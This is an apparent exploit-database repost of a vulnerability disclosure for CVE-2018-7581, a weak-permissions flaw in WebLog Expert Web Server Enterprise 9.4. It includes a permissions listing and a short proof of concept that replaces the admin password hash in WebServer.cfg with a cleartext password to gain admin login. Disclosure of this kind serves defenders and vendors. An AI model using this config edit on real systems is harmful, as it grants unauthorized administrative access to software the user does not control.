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WebLog Expert Web Server Enterprise 9.4 Weak Permissions Vulnerability
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
[+] Credits: John Page (aka hyp3rlinx)
Vendor:
========
www.weblogexpert.com
Product:
========
WebLog Expert Web Server Enterprise v9.4
WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors:
activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers,
operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts.
Vulnerability Type:
===================
Authentication Bypass
CVE Reference:
==============
CVE-2018-7581
Security Issue:
================
The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by WebLog Expert Web Server Enterprise 9.4
has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set a cleartext password and login as admin.
A standard non Windows Administrator user can edit the 'WebServer.cfg' file under "C:\ProgramData\WebLog Expert\WebServer"
set to a cleartext password and login as admin.
e.g.
C:\ProgramData\WebLog Expert\WebServer>cacls * | more
C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C
BUILTIN\Administrators:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
Exploit/POC:
=============
Login as a 'Standard' Windows user
Comment out the Admin hashed password using ';' then add any cleartext password as follows.
[User:admin]
Password=1234
;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0
bAllProfiles=1
Now login in as Admin! :)
# 0day.today [2024-11-16] #